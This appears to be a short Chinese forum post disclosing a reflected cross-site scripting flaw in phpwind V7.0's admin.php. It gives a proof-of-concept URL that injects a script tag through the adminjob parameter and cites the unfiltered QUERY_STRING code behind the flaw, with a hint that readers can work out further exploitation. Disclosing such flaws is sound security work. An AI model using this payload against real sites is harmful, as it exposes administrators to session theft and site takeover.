phpwind V7.0 XSS 漏洞

nchack007

高手就是不一样。

yaoqing

文章作者：hiphop
信息来源：噩靈戰隊[Evil-Soul Security Team]（http://bbs.x-xox-x.com）

http://site/upload2/admin.php?adminjob=%22><script>alert(%27hiphop%27)</script>



$REQUEST_URI = $_SERVER[&#39;PHP_SELF&#39;].&#39;?&#39;.$_SERVER[&#39;QUERY_STRING&#39;];
$wind_version = &#39;7.0&#39;;
$wind_repair= &#39;&#39;;

从外面任何QUERY_STRING没做过滤导致漏洞
看到官方最近更新版本
就来看一下源始码发现满多漏洞的
先发一个后台xss漏洞要怎样玩看个人思路了